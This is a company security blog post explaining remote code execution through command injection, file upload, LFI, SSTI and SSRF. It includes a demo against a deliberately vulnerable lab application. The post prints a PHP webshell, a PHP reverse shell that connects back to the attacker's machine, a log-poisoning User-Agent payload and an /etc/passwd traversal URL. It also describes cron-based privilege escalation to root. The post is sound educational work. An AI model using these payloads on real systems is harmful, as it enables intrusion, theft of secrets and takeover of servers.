At Sqills we think security and privacy are very important. We’re continually testing our software for possible vulnerabilities and fix them as soon as possible. We’re working with third parties for security audits and penetration tests and we have our internal Red Team that will try to hack our own software and our colleagues to spot vulnerabilities so these can be fixed.
One of the primary goals an attacker has is to get ‘remote code execution’ on a target.
What is code execution?
Arbitrary Code Execution is the ability to execute arbitrary commands or code on a target machine or process. In other words, it’s a vulnerability allowing an attacker to execute custom code or system commands on a machine, device, or server. When the code execution can be triggered over a network (like the internet), it’s called ‘remote code execution’ (RCE). When an attacker has the ability to run system commands on your computer or server, bad things can happen.
How to get RCE
There are many ways an attacker can get remote code execution. You probably know about some ‘bad practices’ which can cause code execution, but some of them might be new to you.
Command injection
Command injection is the ‘hello world’ case for code execution. Take a look at the following (bad) PHP code:
<?php
$host = $_GET[‘host’];
echo system(“ping -c 3 $host”);
?>
Calling ‘script.php?host=google.com’ will ping google.com. But if I go to ‘script.php?host=google.com;whoami’, it will ping google.com and execute the unix command ‘whoami’ afterwards. This issue was found in many network routers with debug functionality like ping and nslookup in their web UI.
Arbitrary uploads
Another issue which might lead to code execution is the ability to upload arbitrary files. A simple example of this is uploading a script as an image on a site which doesn’t validate the MIME type of the uploaded file. Most of the time the file will be moved to an ‘uploads’ directory. If the web server isn’t configured correctly and thinks the file is a PHP script, it gets executed when the attacker makes a HTTP request to the file.
LFI (local file inclusion)
Local file inclusion is a type of vulnerability which occurs on websites most of the time and will load a local file with a path or name from an input parameter. Back in the early PHP days, a common pattern was an URL like ‘index.php?p=home’. Most of the time the ‘home’ value referred to a file called ‘home.php’ on the server which got included in the index.php script. Another (more modern) example is a reverse proxy used for file hosting. If ‘http://host/some/file’ will give access to a file at ‘/data/some/file’, the URL ‘http://host/%2e%2e%2fetc/passwd’ might provide access to the file located at ‘/etc/passwd’ on the server.
A way to get code execution by using LFI is for example in combination with an upload functionality. An attacker uploads an arbitrary file and uses the path as input for the LFI vulnerability. The uploaded file is included in the script and the code will be executed.
Another way is by including the web server’s access log. An attacker makes some requests to the web server and modifies his User-Agent header, for example by using ‘<?php system($_GET[‘cmd’]) ?>’ as user agent value. When the access log is used as LFI input in a PHP script, the access log will be included and the PHP code injected as User-Agent will be executed because the value of the User-Agent header is logged in the access log.
More info about file inclusion
SSTI
SSTI stands for server-side template injection. It’s a vulnerability type that makes it possible for an attacker to inject template tags that get parsed by a template framework. For example, Twig (PHP), Jinja2 (Python), or FreeMarker (Java). A simple example is a field that allows placeholders (like user’s first name, email, etc.). Entering ‘{{ 2 * 4 }}’ might end up as ‘8’ which means the template parser has done his work. A way to get remote code execution with SSTI depends on the library which is used, you can find some examples here.
SSRF
SSRF stands for server-side request forgery. This is a vulnerability type which makes it possible for an attacker to let the server make a request, for example a HTTP request to an external URL. The problem with SSRF is that the server will make the request, so the firewall configurations, whitelist rules, etc. of the server are used. A typical example of SSRF is to access the AWS meta-data API. An attacker can get access to the AWS security credentials of the EC2 instance. If the EC2 instance’s permissions aren’t configured correctly, these credentials might give the attacker the ability to login at the EC2 instance with SSM or use AWS features like SSM commands. When working with AWS Lambda the attacker might get access to the S3 bucket containing the source code of the Lambda function. If the attacker can modify the code, upload the new code and the code will be deployed on S3 content changes, the malicious code will be executed when the Lambda is triggered. Another way to combine SSRF with RCE is to access internal services which can execute code, for example Redis (by using Lua scripts) or a scenario with HashiCorp Consul.
And more…
There are many other ways to get remote code execution, for example insecure deserialization, Postgres queries (with SQL injection), access to the Docker HTTP API (locally or with SSRF), access to the Kubernetes API (locally or with SSRF), etc.
Demo time!
In this demo I’ll demonstrate how an arbitrary file upload can lead to remote code execution. I’ll use a PHP application designed for security testing (https://github.com/LunaM00n/File-Upload-Lab). This application contains a file upload vulnerability. I created a custom Docker image to host the web application. I’ll use the upload functionality to upload a malicious PHP script which provides a backdoor shell to the server as user ‘www-data’.
I created two files with the same content. The first is called ‘command.php’ and the second ‘command.gif’. The files are containing the following PHP code:
<?php
system($_GET[‘cmd’]);
?>
The upload functionality in the demonstration will only validate if the type of the file is ‘image/gif’. If I try to upload the ‘command.php’ file, the application will give an error message. If I try to upload the ‘command.gif’ file, the file gets uploaded but it’s not executable because the web server serves it like a normal GIF file. I use a tool called Burp Suite which makes it possible to intercept the upload request, modify the request and continue the request. If I change the file name in the HTTP request to ‘command.gif.php’, the validation can be bypassed and the file will be uploaded to the server with the .php extension. The web server will handle the file as a normal PHP file so it will let us execute commands with the PHP ‘system’ function.
With our malicious ‘image file’ we can execute single commands on the server, but it would be really cool if we can get an interactive shell on our server. We can get this by uploading a special PHP script which will let the server connect back to our own laptop. This is called a reverse shell.
I used the following PHP code for the reverse shell:
<?php
$sock = fsockopen(“host.docker.internal”, 4242);
$proc = proc_open(“/bin/sh -i”, array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
The web server is configured correctly and is running as user ‘www-data’. This is important because now we have code execution, we can only execute commands as www-data and this user should not be able to execute sudo commands. However, a small misconfiguration can lead to new permissions, for example we can become another user or even root. This is called privilege escalation. In the demo Docker image, there’s running a cronjob which will execute a PHP script every minute. The cronjob is executed as user root but the PHP script is located in our /var/www/html folder and the file is owned by user ‘www-data’. Because we can execute commands as www-data, we can modify the script. If we replace it with our malicious code and wait till the next execution by the cron daemon, our code will be executed as root. I used the reverse shell payload to get a reverse shell as root.
Risks of code execution
If an attacker has found a way to execute code or system commands in your application it can lead to a lot of trouble. An attacker can sneak around in your application, for example he might see source code, access secrets which are stored inside environment variables or AWS SSM parameters, access internal services like databases or storage and get access to customer data in logs or by intercepting network traffic.
If you have any questions about Remote Code Execution or have something to add that you feel I might not have touched upon, it is always possible to email me here.